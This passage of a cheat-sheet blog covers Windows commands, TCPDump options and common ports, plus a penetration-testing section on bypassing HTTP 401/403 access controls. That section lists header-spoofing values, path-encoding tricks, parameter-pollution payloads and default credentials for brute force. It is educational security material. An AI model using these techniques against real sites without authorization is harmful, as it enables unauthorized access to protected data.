    compCompare the contents of two files or sets of filescomp file1.txt file2.txt
    fcCompare two files and display the differencesfc file1.txt file2.txt
    treeDisplay the directory structure of a drive or pathtree C:\ /F
    runasRun a program as another userrunas /user:administrator cmd
    schtasksSchedule commands and programs to run at a specific timeschtasks /create /tn "MyTask" /tr "C:\Path\To\Program.exe" /sc daily /st 09:00
    shutdownShutdown or restart the computershutdown /r /t 0
    taskkillTerminate a running processtaskkill /PID 1234
    tasklistDisplay a list of currently running processestasklist
    wmicWindows Management Instrumentation Command to manage various system settingswmic path win32_computersystem get name
    attribDisplay or change file attributesattrib +r -s -h file.txt
    caclsDisplay or modify access control lists (ACLs) of filescacls file.txt /G username:F
    icaclsDisplay, modify, backup, or restore ACLs for files and directoriesicacls file.txt /grant username:F
    gpupdateUpdate Group Policy settingsgpupdate /force
    gpresultDisplay Resultant Set of Policy (RSOP) for a user or computergpresult /R
    systeminfoDisplay detailed configuration information about the computer and its operating systemsysteminfo
    verDisplay the Windows versionver
    hostnameDisplay the name of the current computerhostname
    whoamiDisplay the current usernamewhoami
    schtasksSchedule tasks to run automaticallyschtasks /create /tn "Backup" /tr "C:\BackupScript.bat" /sc weekly /d Sun /st 02:00

    Tips for Setting Up Your Command Line Environment

    1. Customizing the Prompt: Use the prompt command to make your command prompt more informative or fun. For example, prompt $P$G sets the prompt to display the current directory followed by a greater-than sign (>).
    2. Changing Colors: The color command changes the text and background colors of the command prompt. For instance, color 0A sets the background to black and the text to light green.
    3. Setting Environment Variables: Use the set command to define environment variables for the current session and setx to set them permanently. This is useful for adding directories to your PATH or setting other environment-specific values.
    4. Creating Aliases: The doskey command allows you to create shortcuts for longer commands. For example, doskey ls=dir /B makes the ls command function like dir /B.
    5. Window Size and Buffer: Adjust the window size and buffer with the mode command. For instance, mode con: cols=120 lines=30 sets the command prompt window to 120 columns wide and 30 lines tall.
    6. Persistent Changes: Use the setx command to make permanent changes to environment variables, which ensures your custom setup remains even after rebooting.
    7. Launching PowerShell: If you need more advanced scripting capabilities, you can switch to PowerShell by simply typing powershell in the command prompt.
    8. Task Scheduling: Automate tasks using the schtasks command to schedule scripts or programs to run at specific times.

    Conclusion

    We hope this cheat sheet for the Windows Command Line helps you a little to complete your tasks as quickly and efficiently as possible. It is easy to confuse command prompt commands in Windows with other terminal scripting languages, but with this guide, this is all you need to regulate yourselves.

    The Windows Command Line is a wonderful tool for any Windows person. It provides a degree of power and efficiency that could completely change the way you use your computer. Whether you are new to it or an expert in command prompt coding, this cheat sheet should help you perform the tasks that you require.

  • 401 & 403 Bypass CheatSheet For Ethical Hacker

    401 & 403 Bypass CheatSheet For Ethical Hacker

    This 401 and 403 bypass cheat sheet is an essential guide for ethical hacker looking to bypass these common access control errors. Weโ€™ll cover manual techniques and popular automated tools, such as Bulk 403 Bypass, byp4xx, bypass-403, ForbiddenPass, and Burp Suite extensions. This resource is optimized for the key phrases โ€œ401 bypass cheatsheetโ€ and โ€œ403 bypass cheatsheet.โ€

    Manual Techniques for 401 and 403 Bypass

    1. Change HTTP Method: Experiment with different HTTP methods (GET, POST, PUT, DELETE) to bypass restrictions.
    2. Alter URL Encoding: Manipulate URL encoding using double URL encoding, Unicode encoding, or mixed encoding to bypass access control.
    3. Directory Traversal: Use โ€œ../โ€ or โ€œ./โ€ in the URL path to access restricted files and bypass directory restrictions.
    4. Add Trailing Slash: Append a trailing slash (โ€œ/โ€) at the end of the URL path to bypass access control.
    5. Case Manipulation: Modify the case of letters in the URL to bypass case-sensitive restrictions.
    6. HTTP Headers Manipulation: Tweak headers like X-Forwarded-For, X-Originating-IP, or Referer to bypass IP or referrer restrictions.
    7. URL Fragment: Attach a URL fragment (e.g., โ€œ#randomtextโ€) to bypass access control.

    Automated Tools for 401 and 403 Bypass

    1. Bulk 403 Bypass: A Python script to automate testing for common 403 bypass techniques. Access the tool at https://github.com/aardwolfsecurityltd/bulk_403_bypass.
    2. byp4xx: A script that helps bypass 401 and 403 errors using various techniques. Find the tool at https://github.com/lobuhi/byp4xx.
    3. bypass-403: A Python-based tool designed to bypass 403 Forbidden errors. Access the tool at https://github.com/iamj0ker/bypass-403.
    4. ForbiddenPass: A tool focused on bypassing 403 Forbidden responses by testing different methods. Download the tool at https://github.com/gotr00t0day/forbiddenpass.
    5. Burp Suite Extensions: Enhance Burp Suite with extensions, such as Autorize, to help bypass 401 and 403 errors. Access the extension at https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122.

    HTTP Verbs/Methods Fuzzing

    Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

    • Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.
    • Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.
    • Use TRACE verb and if you are very lucky maybe in the response you can see also the headers added by intermediate proxies that might be useful.

    HTTP Headers Fuzzing

    • Change Host header to some arbitrary value (that worked here)
    • Try to use other User Agents to access the resource.
    • Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool fuzzhttpbypass.
      • X-Originating-IP: 127.0.0.1
      • X-Forwarded-For: 127.0.0.1
      • X-Forwarded: 127.0.0.1
      • Forwarded-For: 127.0.0.1
      • X-Remote-IP: 127.0.0.1
      • X-Remote-Addr: 127.0.0.1
      • X-ProxyUser-Ip: 127.0.0.1
      • X-Original-URL: 127.0.0.1
      • Client-IP: 127.0.0.1
      • True-Client-IP: 127.0.0.1
      • Cluster-Client-IP: 127.0.0.1
      • X-ProxyUser-Ip: 127.0.0.1
      • Host: localhost
      If the path is protected you can try to bypass the path protection using these other headers:
      • X-Original-URL: /admin/console
      • X-Rewrite-URL: /admin/console
    • If the page is behind a proxy, maybe it’s the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.
    • Fuzz special HTTP headers looking for different response.
      • Fuzz special HTTP headers while fuzzing HTTP Methods.
    • Remove the Host header and maybe you will be able to bypass the protection.

    Path Fuzzing

    If /path is blocked:

    • Try using /%2e/path _(if the access is blocked by a proxy, this could bypass the protection). Try also_** /%252e**/path (double URL encode)
    • Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like “/”) so when encoded back it will be //path and maybe you will have already bypassed the /path name check
    • Other path bypasses:
      • site.com/secret โ€“> HTTP 403 Forbidden
      • site.com/SECRET โ€“> HTTP 200 OK
      • site.com/secret/ โ€“> HTTP 200 OK
      • site.com/secret/. โ€“> HTTP 200 OK
      • site.com//secret// โ€“> HTTP 200 OK
      • site.com/./secret/.. โ€“> HTTP 200 OK
      • site.com/;/secret โ€“> HTTP 200 OK
      • site.com/.;/secret โ€“> HTTP 200 OK
      • site.com//;//secret โ€“> HTTP 200 OK
      • site.com/secret.json โ€“> HTTP 200 OK (ruby)
      • Use all this list in the following situations:
        • /FUZZsecret
        • /FUZZ/secret
        • /secretFUZZ
    • Other API bypasses:
      • /v3/users_data/1234 –> 403 Forbidden
      • /v1/users_data/1234 –> 200 OK
      • {โ€œidโ€:111} –> 401 Unauthriozied
      • {โ€œidโ€:[111]} –> 200 OK
      • {โ€œidโ€:111} –> 401 Unauthriozied
      • {โ€œidโ€:{โ€œidโ€:111}} –> 200 OK
      • {“user_id”:”<legit_id>”,”user_id”:”<victims_id>”} (JSON Parameter Pollution)
      • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

    Protocol version

    If using HTTP/1.1 try to use 1.0 or even test if it supports 2.0.

    Other Bypasses

    • Get the IP or CNAME of the domain and try contacting it directly.
    • Try to stress the server sending common GET requests (It worked for this guy wit Facebook).
    • Change the protocol: from http to https, or for https to http
    • Go to https://archive.org/web/ and check if in the past that file was worldwide accessible.

    Brute Force

    • Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
    • Brute force: Try basic, digest and NTLM auth.
    Common Creds
    ```
    admin    admin
    admin    password
    admin    1234
    admin    admin1234
    admin    123456
    root     toor
    test     test
    guest    guest
    ```

    Automatic Tools

    Additional Resources for 401 and 403 Bypass

    1. OWASP: The Open Web Application Security Project (OWASP) provides a wealth of information on web application security, including guidance on bypassing access controls. Visit https://www.owasp.org for more information.
    2. HackTricks: An excellent resource for penetration testing techniques, including bypassing 401 and 403 errors. Access the guide at https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses.

    Remember to always obtain proper authorization before conducting any penetration tests. This cheat sheet is intended for educational purposes and to enhance the security of web applications.

  • The Art of Network Analysis: Mastering TCPDump for Packet Capture and Analysis

    The Art of Network Analysis: Mastering TCPDump for Packet Capture and Analysis

    Are you curious about what’s really happening on your network? Do you want to see the raw data that flows through your devices, uncover potential security threats, and diagnose pesky network problems? Look no further than TCPDump, a powerful command-line packet sniffer that allows you to capture and analyze network traffic in real-time.

    TCPDump is a versatile tool used by network administrators, security professionals, and developers alike to troubleshoot network issues, debug network applications, and analyze network behavior. With its wide range of commands, including capture, filter, display, output, and miscellaneous options, TCPDump provides a flexible and customizable platform for network analysis.

    In this article, we’ll explore the main commands of TCPDump and show you how to use them to capture, filter, display, and output network packets. Whether you’re a seasoned network pro or just starting out, this guide will help you get up to speed with the fundamentals of TCPDump and empower you to dig deeper into the world of network analysis. So grab your command line interface and let’s get started!

    What Is TCPDump?

    TCPDump is a powerful and versatile network tool that allows you to capture and analyze network traffic in real-time. It is like having a virtual “ear” on the network, listening in on all the data that flows through it. With TCPDump, you can monitor and troubleshoot network issues, perform security analysis, and gain insight into the behavior of the network.

    Imagine you are a detective investigating a crime scene. You have your magnifying glass, your fingerprint kit, and your forensic tools, but you need something to help you listen in on conversations that took place at the scene of the crime. That’s where TCPDump comes in. It’s like a super-powered listening device that lets you eavesdrop on all the traffic flowing through the network, picking up important clues and information that can help you solve the case.

    But TCPDump isn’t just for solving crimes. It’s also a valuable tool for network administrators, security analysts, and anyone else who needs to gain visibility into network traffic. With TCPDump, you can identify patterns and trends, troubleshoot network problems, and gain insights into the behavior of the network.

    So whether you’re a detective, a network administrator, or just someone who wants to understand how data flows through the network, TCPDump is an essential tool in your arsenal. With its powerful features and flexible capabilities, it can help you unravel even the most complex network mysteries.

    Capture commands are like a magician’s wand for network administrators, security analysts, and other tech professionals. With the flick of a wrist and the right incantation, you can summon packets from the depths of the network and bring them into the light for examination.

    CommandDescription
    tcpdump -i <interface>Capture packets on the specified interface and display them in real-time.
    tcpdump -i <interface> -w <output_file>Capture packets on the specified interface and save them to the specified file.
    tcpdump -i <interface> src <source_IP>Capture packets with the specified source IP address on the specified interface.
    tcpdump -i <interface> dst <destination_IP>Capture packets with the specified destination IP address on the specified interface.
    tcpdump -i <interface> <protocol>Capture packets with the specified protocol on the specified interface.
    tcpdump -i <interface> tcp port <port_number>Capture TCP packets on the specified port on the specified interface.
    tcpdump -i <interface> udp port <port_number>Capture UDP packets on the specified port on the specified interface.
    tcpdump -i <interface> host <hostname>Capture packets to or from the specified hostname on the specified interface.
    tcpdump -i <interface> net <network_address>Capture packets to or from the specified network address on the specified interface.
    tcpdump -i <interface> -c <packet_count>Capture the specified number of packets on the specified interface.
    tcpdump -i <interface> <filter_expression>Capture packets that match the specified filter expression on the specified interface.
    tcpdump -i <interface> -vDisplay detailed information about captured packets on the specified interface.
    tcpdump -i <interface> -xDisplay captured packets in hexadecimal format on the specified interface.

    Note that <interface>, <source_IP>, <destination_IP>, <protocol>, <port_number>, <hostname>, <network_address>, <packet_count>, and <filter_expression> are all parameters that should be replaced with the appropriate values for your use case.

    Each command has its own unique power, allowing you to capture packets based on specific criteria. Want to see all the traffic on a particular interface? Just wave your wand and utter the tcpdump -i <interface> incantation. Need to isolate traffic from a specific IP address or network? Use the src or dst options. Want to focus on a particular protocol or port number? Invoke the protocol or port spells.

    But capturing packets is only half the battle. To truly understand what’s happening on the network, you need to be able to analyze those packets. That’s where the magic of packet capture really comes to life. By examining the contents of packets, you can uncover hidden information, identify security threats, troubleshoot network issues, and gain valuable insights into how your network is behaving.

    So the next time you need to capture packets, think of it as a magical ritual that allows you to summon the hidden secrets of the network. With the right commands and a little bit of wizardry, you can unlock a whole new world of understanding and insight.

    Filter Commands

    Filter commands are like a pair of magical glasses that allow you to see the hidden patterns and secrets within your network traffic. With the right filters, you can focus your attention on the packets that matter most, revealing insights and uncovering hidden threats that might otherwise go unnoticed.

    Each filter command is like a special lens that allows you to view your network traffic from a unique perspective. Want to isolate traffic from a specific host? Just don your host filter lenses and watch the traffic flow into view. Need to analyze traffic on a specific port? Slip on your port filter lenses and dive into the packets flowing through that port.

    But the real magic happens when you combine filter commands. By layering filters on top of each other, you can create intricate patterns that allow you to zoom in on specific behaviors and interactions within your network traffic. Want to analyze all traffic to or from a specific network on a specific port? Just weave together the net, port, and or filter spells to conjure up the packets you seek.

    And if you need to exclude certain traffic from your analysis, the not filter spell allows you to do just that. With a wave of your wand and a few muttered words, you can banish unwanted packets to the shadow realm, allowing you to focus on the packets that really matter.

    In the hands of a skilled network magician, filter commands are a powerful tool for understanding and analyzing network traffic. With the right filters, you can reveal hidden patterns, identify security threats, and gain a deeper understanding of how your network is behaving. So don your filter lenses and start exploring the hidden world of network traffic today!

    CommandDescription
    host <hostname>Capture packets to or from the specified hostname.
    net <network_address>Capture packets to or from the specified network address.
    port <port_number>Capture packets with the specified port number.
    src <source_IP>Capture packets with the specified source IP address.
    dst <destination_IP>Capture packets with the specified destination IP address.
    tcpCapture only TCP packets.
    udpCapture only UDP packets.
    icmpCapture only ICMP packets.
    arpCapture only ARP packets.
    not <filter_expression>Invert the specified filter expression to capture packets that do not match the expression.
    <filter_expression> and <filter_expression>Capture packets that match both filter expressions.
    <filter_expression> or <filter_expression>Capture packets that match either filter expression.
    greater <length>Capture packets larger than the specified length.
    less <length>Capture packets smaller than the specified length.
    ipCapture all IP packets.
    ip6Capture all IPv6 packets.
    ip proto <protocol_number>Capture packets with the specified IP protocol number.

    Note that <hostname>, <network_address>, <port_number>, <source_IP>, <destination_IP>, <filter_expression>, and <length> are all parameters that should be replaced with the appropriate values for your use case.

    Filter commands are like a set of precision tools for capturing packets. By selecting only the packets that meet specific criteria, you can quickly zero in on the information you need, without being distracted by irrelevant traffic.

    For example, you can use the host command to capture traffic to or from a specific machine, or the port command to capture traffic on a specific port. The not command allows you to invert a filter expression, capturing packets that don’t match the expression. And the and and or commands allow you to combine multiple filter expressions to capture packets that meet complex criteria.

    Using filter commands can help you troubleshoot network issues, identify security threats, and gain a deeper understanding of how your network is behaving. With the right filters, you can quickly isolate the packets you need and extract valuable insights from them.

    Display Commands

    Display commands are like a set of magic lenses that let you see your network traffic in a whole new way. By adjusting the verbosity of the output, printing packets in different formats, and saving them to files, you can tailor your view of the network traffic to suit your needs. Here are some commonly used display commands:

    CommandDescription
    -nDisplay IP addresses instead of hostnames.
    -nnDisplay IP addresses and port numbers instead of hostnames and port names.
    -vIncrease verbosity of the output.
    -vvIncrease verbosity even more.
    -qDecrease verbosity of the output.
    -c <count>Exit after capturing the specified number of packets.
    -s <size>Set the snapshot length to the specified size.
    -SPrint absolute sequence numbers.
    -XPrint packet contents in both ASCII and hexadecimal format.
    -XXPrint packet contents in hexadecimal format only.
    -APrint packet contents as ASCII only.
    -w <filename>Write captured packets to a file.
    -r <filename>Read captured packets from a file.
    -ttttPrint a timestamp in each output line.

    Display commands are like a set of lenses that allow you to view your network traffic in different ways. By adjusting the verbosity of the output, printing packet contents in different formats, and saving captured packets to files, you can tailor your view of the network traffic to suit your needs.

    For example, the -n command allows you to display IP addresses instead of hostnames, which can be helpful if you’re dealing with a large number of hosts and don’t want to clutter up the output with DNS lookups. The -v command increases the verbosity of the output, providing more detailed information about each packet, while the -q command decreases verbosity, allowing you to quickly scan through a large number of packets.

    The -X command allows you to print packet contents in both ASCII and hexadecimal format, which can be helpful if you’re trying to identify specific data patterns within the packets. And the -w command allows you to save captured packets to a file for later analysis, while the -r command allows you to read captured packets from a file.

    By combining display commands with filter commands, you can create powerful views of your network traffic that allow you to see specific patterns and behaviors. With the right display and filter commands, you can quickly isolate the packets you need and extract valuable insights from them.

    Output Commands

    Output commands are like the final step in a magic trick, allowing you to present the captured packets in a format that’s easy to understand and work with. By specifying the output format, buffering behavior, and other options, you can tailor the output to suit your needs. Here are some commonly used output commands:

    CommandDescription
    -ePrint the link-level header on each line of output.
    -E <type>Specify an output format for the link-level header.
    -j <type>Output packets as JSON objects.
    -J <filename>Output packets in JSON format to the specified file.
    -lLine buffer the output.
    -NDon’t convert addresses to names.
    -OUse the old (pre-IPV6) packet format.
    -T <type>Output packets in the specified format.
    -UPrint packets immediately rather than buffering.
    -vIncrease verbosity of the output.

    Output commands allow you to control how TCPDump presents captured packets to you. By specifying the output format, buffering behavior, and other options, you can tailor the output to suit your needs.

    For example, the -e command allows you to print the link-level header on each line of output, which can be useful if you’re trying to diagnose issues with your network interface. The -j command outputs packets as JSON objects, making it easy to integrate with other tools and systems. And the -T command allows you to output packets in a specific format, such as pcap or ASCII.

    By combining output commands with filter commands and display commands, you can create powerful views of your network traffic that allow you to quickly identify patterns and behaviors. And by saving output to files or piping it to other tools, you can extend the power of TCPDump to other areas of your network analysis workflow.

    Miscellaneous Commands

    Miscellaneous commands are like the Swiss Army knife of TCPDump, providing a variety of tools to help you capture and analyze network traffic. By using these commands, you can fine-tune TCPDump’s behavior and tailor it to your specific needs, whether you’re capturing a large amount of traffic or just trying to pinpoint a specific issue.

    CommandDescription
    -c <count>Exit after capturing the specified number of packets.
    -G <interval>Rotate output files after the specified time interval.
    -i <interface>Capture packets on the specified interface.
    -kStart capturing packets immediately.
    -pDon’t put the interface into promiscuous mode.
    -s <size>Capture only the first size bytes of each packet.
    -SPrint absolute sequence numbers.
    -tDon’t print a timestamp on each output line.
    -w <filename>Write captured packets to the specified file.
    -xPrint each packet in hex and ASCII format.
    -XPrint each packet in hex and ASCII format, and include the link-level header.

    Miscellaneous commands allow you to tweak various aspects of TCPDump’s behavior, such as the number of packets to capture, the interface to capture on, and the format of the output. By using these commands, you can tailor TCPDump to your specific needs and make your network analysis workflow more efficient.

    For example, the -c command allows you to specify the number of packets to capture before TCPDump exits, which can be useful if you only need to capture a small amount of traffic for a specific task. The -w command writes captured packets to a file, which can be useful if you need to analyze the traffic later or share it with others. And the -s command allows you to capture only the first size bytes of each packet, which can be useful if you’re trying to save bandwidth or avoid capturing sensitive data.

    By combining miscellaneous commands with filter commands, display commands, and output commands, you can create a powerful toolkit for analyzing network traffic and identifying issues on your network.

    FAQ

    Q: What is TCPDump used for?

    A: TCPDump is a command-line packet sniffer that allows you to capture and analyze network traffic in real-time. It is often used by network administrators, security professionals, and developers to troubleshoot network issues, debug network applications, and analyze network behavior.

    Q: How do I install TCPDump?

    A: TCPDump is typically pre-installed on many Linux distributions. If it is not installed, you can usually install it using your package manager. For example, on Ubuntu, you can install TCPDump by running the command sudo apt-get install tcpdump.

    Q: How do I capture packets with TCPDump?

    A: You can capture packets with TCPDump by running the command tcpdump <options>. The <options> specify various settings, such as the network interface to capture on, the filter to apply, and the output format.

    Q: How do I filter packets with TCPDump?

    A: You can filter packets with TCPDump by using the -i command to specify the network interface to capture on, and the -s command to set the capture buffer size. You can also use filter expressions to specify which packets to capture based on their source and destination IP addresses, port numbers, protocol types, and other criteria.

    Q: How do I analyze captured packets with TCPDump?

    A: You can analyze captured packets with TCPDump by using various display and output commands to print the packet headers, packet data, and other information. You can also use third-party tools to further analyze the packets, such as Wireshark, which provides a graphical user interface (GUI) for packet analysis.

    Q: Can TCPDump capture encrypted traffic?

    A: TCPDump can capture encrypted traffic, but it will only capture the encrypted data, not the decrypted data. To capture decrypted data, you would need to use a tool that can decrypt the encrypted traffic, such as Wireshark with the correct decryption keys.

    Conclusion

    In conclusion, TCPDump is a versatile and powerful tool for capturing and analyzing network traffic. Whether you’re a network administrator, security professional, or developer, TCPDump can help you troubleshoot issues, debug applications, and gain insight into network behavior.

    With its wide range of capture, filter, display, output, and miscellaneous commands, TCPDump provides a flexible and customizable platform for network analysis. Whether you need to capture specific types of packets, filter out unwanted traffic, or display packet data in a certain format, TCPDump has a command that can help you achieve your goals.

    Of course, mastering TCPDump takes time and practice, but with its intuitive syntax and extensive documentation, it’s a tool that can be learned by anyone with a desire to understand network traffic at a deeper level. So if you’re ready to dive into the world of network analysis, give TCPDump a try and see what insights you can uncover!

  • Ultimate Cheatsheet: Common Ports and Protocols for Network Communication

    Ultimate Cheatsheet: Common Ports and Protocols for Network Communication

    This article provides an overview of network port numbers and their importance in computer networking. It explains what port numbers are and how they work, as well as the different types of port numbers and their uses. The article also covers the most commonly used port numbers and why they are important, as well as some frequently asked questions about port numbers. By reading this article, readers can gain a better understanding of how port numbers are used in networking, and how they can be used to improve network security and efficiency.

    The Basics: What are Ports and Protocols

    Ports and protocols are essential elements of network communication. Let’s take a closer look at what they are and how they work.

    Ports

    In computer networking, a port is a logical address that identifies a specific process or service running on a computer. Ports are numbered between 0 and 65535, with some numbers reserved for specific protocols or services. For example, port 80 is commonly used for HTTP traffic, while port 443 is used for HTTPS traffic.

    Ports allow computers to establish connections with other devices, exchange data, and communicate with specific services or applications. For example, when you open a web browser and navigate to a website, your computer uses port 80 (or 443 for HTTPS) to connect to the web server hosting the site.

    Protocols

    A protocol is a set of rules and standards that govern how data is transmitted between devices on a network. Protocols define the format and structure of messages, how data is encoded and decoded, and how errors and other issues are handled.

    There are many different protocols used in computer networking, each designed for a specific purpose or application. Some common protocols include HTTP (HyperText Transfer Protocol) for web traffic, SMTP (Simple Mail Transfer Protocol) for email, and FTP (File Transfer Protocol) for file transfers.

    Protocols ensure that data is transmitted correctly and reliably, and help to ensure that devices from different manufacturers and vendors can communicate with each other. Without protocols, it would be difficult to establish and maintain connections between devices on a network.

    Ports 1 to 1,023 (Well Known Ports)

    These are reserved ports in the range of 1 to 1,023 and have been registered with IANA for a specific service.

    Ports 1,024 to 49,151 (Registered Ports)

    This range is also registered with IANA but is not as commonly used.

    Ports 49152 to 65535 (Dynmaic and/or private ports)

    IANA reserves this port range for dynamic use for proprietary services or private use.

    What are the Most Commonly Used Ports?

    Port NumberProtocolDescription
    20TCPFTP Data Transfer
    21TCPFTP Control
    22TCPSSH (Secure Shell)
    23TCPTelnet
    25TCPSMTP (Simple Mail Transfer Protocol)
    53TCP/UDPDNS (Domain Name System)
    67UDPDHCP (Dynamic Host Configuration Protocol)
    68UDPDHCP (Dynamic Host Configuration Protocol)
    80TCPHTTP (Hypertext Transfer Protocol)
    88TCP/UDPKerberos Authentication System
    110TCPPOP3 (Post Office Protocol v3)
    119TCPNNTP (Network News Transfer Protocol)
    123UDPNTP (Network Time Protocol)
    135TCPMicrosoft RPC (Remote Procedure Call)
    137UDPNetBIOS Name Service
    138UDPNetBIOS Datagram Service
    139TCPNetBIOS Session Service
    143TCPIMAP (Internet Message Access Protocol)
    161UDPSNMP (Simple Network Management Protocol)
    389TCP/UDPLDAP (Lightweight Directory Access Protocol)
    443TCPHTTPS (HTTP Secure)
    445TCPMicrosoft SMB (Server Message Block) over TCP/IP
    514UDPSyslog
    636TCPLDAPS (LDAP Secure)
    993TCPIMAPS (IMAP Secure)
    995TCPPOP3S (POP3 Secure)
    1433TCPMicrosoft SQL Server
    1521TCPOracle SQL
    3306TCPMySQL
    3389TCPMicrosoft Remote Desktop Protocol (RDP)
    5432TCPPostgreSQL

    Note that this list is not exhaustive and there may be other ports in use in different contexts. Also, some protocols may use multiple ports depending on the configuration.

    The most commonly used ports depend on the context of use. Here are some of the most commonly used ports in various applications and protocols:

    • Port 80: HTTP (Hypertext Transfer Protocol) web traffic
    • Port 443: HTTPS (HTTP Secure) web traffic
    • Port 53: DNS (Domain Name System) traffic
    • Port 25: SMTP (Simple Mail Transfer Protocol) email traffic
    • Port 110: POP3 (Post Office Protocol v3) email traffic
    • Port 143: IMAP (Internet Message Access Protocol) email traffic
    • Port 3389: RDP (Remote Desktop Protocol) traffic
    • Port 22: SSH (Secure Shell) traffic
    • Port 21: FTP (File Transfer Protocol) traffic
    • Port 23: Telnet traffic
    • Port 1194: OpenVPN traffic
    • Port 1723: PPTP (Point-to-Point Tunneling Protocol) traffic
    • Port 3306: MySQL database traffic
    • Port 5432: PostgreSQL database traffic

    These are just a few examples of commonly used ports. The use of specific ports can vary depending on the application or protocol being used, and different organizations may use different ports for the same applications or protocols.

    Common Ports and Protocols for Web Traffic

    Web traffic is one of the most common types of network traffic, and there are several ports and protocols that are commonly used to transmit web data. Let’s take a closer look at some of these:

    HTTP (Hypertext Transfer Protocol)

    HTTP is the primary protocol used for transferring data between web servers and clients. It is used to request and transmit HTML pages, images, videos, and other web content. HTTP operates over port 80 by default, but can also operate over other ports such as 8080 or 8000.

    HTTPS (Hypertext Transfer Protocol Secure)

    HTTPS is a secure version of HTTP that uses SSL/TLS encryption to protect data transmitted between web servers and clients. It operates over port 443 by default, but can also use other ports such as 8443.

    FTP (File Transfer Protocol)

    FTP is a protocol used for transferring files between computers over a network. It operates over port 21 by default, but can also use other ports such as 2121.

    FTPS (FTP over SSL/TLS)

    FTPS is a secure version of FTP that uses SSL/TLS encryption to protect data transmitted between computers. It operates over port 990 by default.

    SMTP (Simple Mail Transfer Protocol)

    SMTP is a protocol used for sending email messages between computers. It operates over port 25 by default, but can also use other ports such as 587.

    POP3 (Post Office Protocol version 3)

    POP3 is a protocol used for retrieving email messages from a mail server. It operates over port 110 by default.

    IMAP (Internet Message Access Protocol)

    IMAP is a protocol used for retrieving and managing email messages on a mail server. It operates over port 143 by default.

    Frequently Asked Questions

    • What is a port number?

    A port number is a 16-bit unsigned integer that identifies a specific process or service running on a computer in a network. It is used to help route network traffic to the correct application or service.

    • How many port numbers are there?

    There are 65,536 possible port numbers, ranging from 0 to 65,535.

    • What are well-known ports?

    Well-known ports are port numbers in the range of 0 to 1023 that are assigned to specific services or applications by the Internet Assigned Numbers Authority (IANA). These ports are reserved for standard services, such as HTTP, FTP, and SMTP.

    • What are registered ports?

    Registered ports are port numbers in the range of 1024 to 49,151 that are assigned to applications or services by the IANA. These ports can be used by applications that are not considered standard, but still need a reserved port.

    • What are dynamic or private ports?

    Dynamic or private ports are port numbers in the range of 49,152 to 65,535 that are used by client applications to initiate a connection with a server. These ports are assigned by the operating system on the client side and are not reserved.

    • Why are port numbers important?

    Port numbers are important because they help identify the specific application or service that network traffic is intended for. This allows network traffic to be correctly routed to the appropriate destination, ensuring that applications and services can communicate effectively over a network.

    • Can port numbers be changed?

    Port numbers can be changed by configuring the application or service that is using the port. However, it is important to ensure that the new port number is not already in use by another application or service to avoid conflicts.

    Conclusion

    In conclusion, port numbers are an important aspect of computer networking as they help identify the specific application or service that network traffic is intended for. Understanding port numbers can help troubleshoot network issues, configure firewalls and routers, and secure networks by ensuring that traffic is routed to the appropriate destination. By knowing which port numbers are commonly used for specific applications and protocols, network administrators can better manage their network and ensure efficient and secure communication.

  • Mastering Windows Command Line: Your Ultimate Cheat Sheet for Increased Productivity

    Mastering Windows Command Line: Your Ultimate Cheat Sheet for Increased Productivity

    The Windows command line, also known as the Command Prompt or the Windows Terminal, is a powerful tool that allows you to execute various commands and scripts on your computer. Although many users prefer to use the graphical user interface (GUI) to perform tasks on their Windows machines, the command line can provide a more efficient and flexible way to manage your system, automate tasks, and troubleshoot issues.

    In this article, we will provide you with a comprehensive cheat sheet of the most useful and commonly used Windows command line commands. Whether you are a system administrator, a developer, or an advanced user, these commands can help you perform a wide range of tasks, from managing files and folders to configuring networks and services.

    We will divide the commands into several categories, including file and folder management, system information, network configuration, security, and more. For each command, we will explain its syntax, parameters, and common use cases, and provide examples of how to use it. By the end of this article, you will have a solid understanding of the Windows command line and how to use it to make your work more efficient and productive.

    Navigation Commands

    • cd [path]: The cd command is used to change the current working directory to the specified path. For example, cd C:\Users\JohnDoe\Documents would change the working directory to the “Documents” folder of the “JohnDoe” user on the “C:” drive. You can also use relative paths (e.g. cd .. to move up one directory) and environment variables (e.g. cd %userprofile% to move to the current user’s home directory).
    • dir: The dir command is used to list the contents of the current directory. By default, it will display the file name, size, and date modified for each file in the directory. You can also use various options (e.g. dir /w for a wide list format or dir /s to include subdirectories).
    • mkdir [dir_name]: The mkdir command is used to create a new directory with the specified name. For example, mkdir MyFolder would create a new folder named “MyFolder” in the current working directory.
    • rmdir [dir_name]: The rmdir command is used to delete the specified directory (must be empty). For example, rmdir MyFolder would delete the folder named “MyFolder” in the current working directory.
    • type [file_name]: The type command is used to display the contents of the specified file. For example, type myfile.txt would display the contents of a file named “myfile.txt” in the current working directory.

    File Management Commands

    • copy [source_file] [destination]: The copy command is used to copy a file to a new location. For example, copy myfile.txt C:\Users\JohnDoe\Documents would copy a file named “myfile.txt” to the “Documents” folder of the “JohnDoe” user on the “C:” drive.
    • del [file_name]: The del command is used to delete the specified file. For example, del myfile.txt would delete a file named “myfile.txt” in the current working directory.
    • move [source_file] [destination]: The move command is used to move a file to a new location. For example, move myfile.txt C:\Users\JohnDoe\Documents would move a file named “myfile.txt” to the “Documents” folder of the “JohnDoe” user on the “C:” drive.
    • ren [old_file_name] [new_file_name]: The ren command is used to rename a file. For example, ren myfile.txt newfile.txt would rename a file named “myfile.txt” to “newfile.txt”.

    System Commands

    • systeminfo: The systeminfo command is used to display system information such as the operating system name, version, and build number, as well as information about the processor, memory, and network adapters.
    • tasklist: The tasklist command is used to display a list of currently running processes. By default, it will display the process name, process ID, and memory usage for each process.
